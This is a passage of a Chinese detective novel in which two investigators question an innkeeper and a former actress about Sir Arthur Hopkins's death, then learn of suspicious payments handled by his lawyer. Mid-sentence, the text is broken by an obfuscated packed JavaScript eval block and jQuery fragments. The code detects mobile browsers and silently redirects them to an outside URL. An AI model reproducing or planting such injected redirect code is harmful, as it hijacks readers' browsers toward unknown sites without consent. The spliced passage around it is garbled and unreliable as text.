我们下榻的旅馆名叫“常青藤与夜莺”，是切尔西区众多精致小旅馆中的一家。


    老板娘布兰奇太太是个乐观健谈的中年妇人，小个子，脸颊红润，按她自己的说法，她喜欢交流一些活跃生活的小话题。


    她显然对我们这两位临时住客充满好奇，尤其是当得知我们与最近的霍普金斯案有关后。


    第二天早餐时，她端着果酱过来，自然而然地搭话。


    “霍普金斯府上的事，可真叫人叹息，”她一边摆弄着餐具一边说，眼睛瞟着我们，“阿瑟爵士，多好的一位先生，又有学问，又体面，怎么就走得这么突然。”


    简放下茶杯，语气平常地接话，“您似乎很了解爵士？”


    “哦，切尔西说小不小，说大也不大，”布兰奇太太立刻来了精神，拉过一把椅子坐下，“尤其是霍普金斯家那样的人家，总是惹人议论的。爵士是位情深义重的人，谁都知道他多么怀念他那位早逝的夫人，维拉，多美的名字，跟他那盆宝贝花儿一样。可男人嘛，尤其是那样一位有钱有地位的鳏夫……”


    她压低了声音，身体前倾，“维拉夫人去世刚过一年，风声就起来了。关于他和那位克拉拉·贝尔小姐的。”


    “他们走得很近？”我问。


    “何止是近，亲爱的，”布兰奇太太意味深长地眨眨眼，“剧院散场后常常能看到他的马车候着。贝尔小姐那时可是颗明星，虽说不算顶红，但那风情……啧啧。一个失去妻子的黄金单身汉，总是没法抵抗温柔美人的吸引力。他们不清不楚有些年头了。大家都以为他会娶她，结果呢？到头来只留下一座小房子和一点点钱。想想可真叫人心寒，她最好的年华都给了他。”


    “那迈克尔·洛特先生呢？”简忽然问，“他似乎一直深得爵士信任。”


    布兰奇太太的表情变得有些微妙，似乎是有些惋惜。


    “洛特先生？哦，那可真是个英俊体面的年轻人，做事一丝不苟，现在又继承了那么大笔财产……说真的，要不是……我都想把我家女儿介绍给他了。”


    “要不是什么？”我不解地问。


    布兰奇太太凑得更近，声音几乎成了气音，“哎呀，就是……那方面嘛。大家都那么传。”


    “哪方面？”我一时没反应过来。


    她嗔怪地拍了我手臂一下，眼神暧昧，“还能是哪方面？男男女女那点事呗！他从没见对哪位小姐表示过兴趣，干干净净的，一点风流韵事都没有。这正常吗？一个那样年纪的体面绅士？所以都说……他怕是有点什么难言之隐。”


    我被她直白的话呛得轻咳几声，脸颊有些发烫。


    简倒是面色如常，只是追问：“或许他只是心有所属，不便表达？”


    “不可能，”布兰奇太太斩钉截铁地摇头，“没见他身边有什么特别的姑娘。要我说，他心里啊，恐怕就只有爵士和他那些花花草草了。”她说着，又自顾自地点点头，仿佛确认了什么隐秘的真相。


    “劳伦斯·特里梅因律师呢？我到现在都没听过什么人提过他。”我问。


    “哦，他呀。他很老实，要我说，他甚至有些窝囊。没什么大本事，长得又平庸，四十好几的人了，前段时间才有年轻漂亮姑娘能够嫁给他，还不是他给出的钱多…那可是一大笔钱钱啊，现在特里梅因明天打扮得漂漂亮亮的”


    “是吗？”简笑着应和着，“出钱的话，他之前怎么不这样呢？”


    “哎呀，他之前就是一个一穷二白的男人，还不是当了霍普金斯先生的家庭律师，这几年才让他富了起来…霍普金斯果然是大家族啊…我女儿要是能……”布兰奇太太絮絮叨叨地说。


    我们谢过她提供的果酱和……信息。简若有所思地用指尖轻点着桌面。


    当天下午，我们按照地址找到了克拉拉·贝尔小姐的住所。


    那并不是霍普金斯爵士遗嘱中留给她的乡间小屋，而是位于切尔西边缘的一处略显偏僻的公寓。


    一位年纪颇大的女仆为我们开了门，据说她是贝尔小姐的奶娘，如今仍跟着她。


    克拉拉·贝尔小姐本人出现在小客厅时，依然能让人窥见她昔日的风采。


    岁月在她脸上留下了痕迹，眼角有了细纹，肤色也不复年轻时的光洁，但她身段依旧窈窕，甚至是消瘦，她穿着简单却得体的深色长裙，头发松松散散，有着几分倦怠的风韵。


    她的美丽并未完全褪色，只是像一幅放置过久的油画，蒙上了时间的灰尘。


    她得知我们的来意后，神情淡漠，似乎早已预料，又似乎毫不在意。


    “我知道你们会来，”她的声音依旧悦耳，“坐吧。玛丽，请给客人倒茶。”


    “您知道？”我有些疑惑。


    “当然。小姐。”她看着我笑了笑，那是不带任何恶意的调侃，“切西尔，或者说这一片，是一个封闭的地方。有点消息，就会疯了似的传。布兰奇太太老早就嚷嚷着她的旅馆入住了伦敦来的侦探。”


    她示意我们坐在对面的椅子上，自己则缓缓走向那张看起来有些年头的天鹅绒沙发。


    她的动作带着优雅，在坐下的时候，我注意到她的左手无意识地在自己腹部轻轻按了一下，然后才让身体沉入柔软的靠垫中，仿佛那是一个习惯了保护某个脆弱区域的小动作。


    她点燃一支细长的香烟，透过袅袅青烟看着我们。


    “想知道那天我在哪里，做了什么？和警察问的一样。我可以再告诉你们一次，那天一整天，除了上午他叫了所有人见他。我都在这里。玛丽可以作证。我们整理了旧物，试做了新的糕点，晚上一起听了无线电广播。我没有踏出这间公寓一步。”


    “您和霍普金斯爵士……”简开口。


    “是的，我们有过一段情，”克拉拉直接打断了简，语气里没有羞涩也没有激动，只有坦然，“很多年。人们都说我指望他娶我，或许曾经是吧，但是，我一直都知道，维拉永远活在他的温室里，活在那株以她命名的花里。没有人能真正取代一个死去的爱人，即使她活着时也未见多好的。”


    她轻轻笑了一下，带着淡淡的嘲讽：“他给我提供衣食无忧的生活，给我暂时的庇护，而我提供陪伴和……安慰。很公平的交易，不是吗？最后那座小屋和那点年金，大概是他觉得这笔交易该付的清尾款，或者说…赔偿。”


    她说的漫不经心，又似乎无所谓。但当她要将烟灰弹向茶几上的琉璃烟灰缸时，她的目光掠过自己平坦的小腹，眼神里有着难以捕捉的痛楚。


    “我没什么可抱怨的，也早已不再期待什么了。”


    她捻灭香烟，目光投向窗外，显然不愿再多谈。


    我们告辞时，她只是微微颔首，让老玛丽送客。


    就在老玛丽准备关上门时，简忽然停下脚步，转身轻声问道：“玛丽女士，请原谅我的冒昧。贝尔小姐……她的身体似乎不太好？我注意到她似乎……特别疲惫，而且对某些动作显得有些……谨慎。”


    简的问法非常含蓄，但几乎是立刻激起了这位奶娘的怒火。


    那只布满皱纹、紧握着门把的手猛地收紧。老玛丽浑浊的眼睛猛地看向简，又迅速瞟了一眼屋内。


    她的嘴唇颤抖着，声音压得极低，却带着愤懑。


    “谨慎？”老玛丽的声音哽咽了一下，“她怎么能不谨慎！她的身体早就在多年前被毁掉了！”


    她的眼泪瞬间涌出。


    “她失去过一个孩子……一个也许会和她一样漂亮乖巧的孩子，…她那么渴望那个孩子……”


    她几乎说不下去，深吸了一口气，才能继续控诉，“都是那个该死的爵士！他怕极了这事毁了他深情的好名声！他强迫她……他打了她…我收拾的……那么多血……她差点就死了心也跟着死了……你们现在明白了吗？！”


    老玛丽的声音破碎不堪，充满了无尽的痛惜与愤怒。她猛地用手背擦掉眼泪。


    “现在，请你们离开吧。别再撕开她的旧伤了。求你们了。”


    不等我们回应，她坚决地关上了门。


    走在回去的路上，冬日的冷风扑面。


    “贝尔小姐有动机，”我呼出一口白气，对简说，“但她的身体……经历过那种创伤。还有，她说她不愿意进入温室，不想看见那些花，我觉得是可信的…”


    “嗯，”简表示同意，目光扫过街道旁光


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16385942|177843||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    秃的树枝，“她的恨意更可能绵长而绝望，而非瞬间爆发的烈火。但仇恨有时能给人意想不到的力量，我们不能完全排除。只是目前，她的直接嫌疑确实不如其他人那么明显。”


    我们沉默地走回“常青藤与夜莺”旅馆。


    房间内暖意融融，与外面的寒冷形成对比。简刚脱下大衣，布兰奇太太就过来敲门。


    “里斯克小姐，有你的电话！”


    “是的，我是简·里斯克……非常感谢您回电，史密斯先生……嗯，我明白了…近三年？每年都有？…金额是递增的？……接收账户名称能再确认一遍吗？……”


    “……好的，非常感谢，这证实了我的一些猜测，非常有帮助。”


    她挂了电话，转过身，脸上是一种“果然如此”的神情。


    “是银行的史密斯先生，”她对我解释道，“我委托他查了霍普金斯爵士主要账户近年的大额资金往来。有一笔款项很值得玩味。”


    她走到桌前，拿起笔在本子上随意划着，像是在整理思绪。


    “从三年前开始，几乎每年同一时间，都有一笔数额可观的资金，以‘植物研究赞助’的名义，汇入一个名为‘皇家园艺学会促进基金’的账户。操作经手人签名是劳伦斯·特里梅因律师。最近的一笔，数额最大，就发生在爵士去世前约两周。”


    “爵士是植物学家，捐款给园艺学会，听起来很正常。”我说。


    “表面上看，是的。”简放下笔，“但很有意思，不是吗？最终遗嘱宣布前，这样一大笔支出。而且，布兰奇太太怎么说特里梅因先生的？”


    我立刻想起来了，“‘他之前就是一个一穷二白的男人，当了霍普金斯先生的家庭律师后才富了起来’。”


    “没错。”简的手在本子上点了点，“一个受托管理雇主财务的律师，经手这样定期流出的、名目笼统的大额款项，而他自己近年的经济状况又显著改善。这不得不让人产生联想，这笔钱是否真的全部去了该去的地方？或者，这其中是否存在着某种交易？”


    她顿了顿，继续道：“爵士召集所有人，很可能不仅要宣布遗嘱，也要彻底厘清这类财务问题。当然，和彭哈利根女士一样，也许霍普金斯先生会给予特里梅因先生一点时间。但是对他而言，这无疑是极大的威胁。”


    我顺着她的思路往下想：“所以，他的动机可能不仅仅是遗嘱里写明的那一份，更可能是为了掩盖持续多年的……财务上的不当行为？如果被发现，他失去的将不仅是遗产，还有职业和名誉。”


    “正是这样。”简表示赞同，“而所有这些，都指向爵士最核心的部分，他的植物学研究。弗瑞，你还记得那株以维拉命名的秋海棠吗？”


    “当然，”我点头，“它美得惊人。”


    “那种秋海棠的诞生，离不开详尽的杂交记录和培育手稿，这些现在都归洛特先生继承，是其财产的重要部分。”


    简缓缓说道，“但如果，这些珍贵记录的来源存在瑕疵呢？或者，这个品种的专利权本身，是通过特里梅因操作的某些不为人知的‘赞助’或交易才得以明晰归属的呢？”


    我明白了：“那笔所谓的‘赞助’，也许是封口费，或者是购买关键证据的钱？特里梅因律师可能在其中动了手脚，爵士或许有所察觉……”


    “又或者，他单纯地利用这个名目中饱私囊，而爵士的清查会揭穿一切。”简说。


    “他有可能是凶手，但是，简，你知道的，凶手的行为是临时起意的，谁都有可能砸第二下。”想到这个，我有些泄气。


    “是的，弗瑞，所以最重要的是动机与得利。谁，会因此受利。你要知道，凶手要么动机是最紧迫的，要么就是得利者，无论是表面还是暗地里。”她看着我认真地说，似乎是希望我记住，“而特里梅因律师，两者都符合。”


    “无论具体原因为何，那株秋海棠及其相关文件，都很可能成为解开特里梅因行为的关键证据。”


    “我们需要再去一次霍普金斯府邸，这次，必须仔细查看所有与秋海棠相关的培育记录和财务文件。还有，我们需要尽快与这位劳伦斯·特里梅因律师谈一谈。”简最后说道。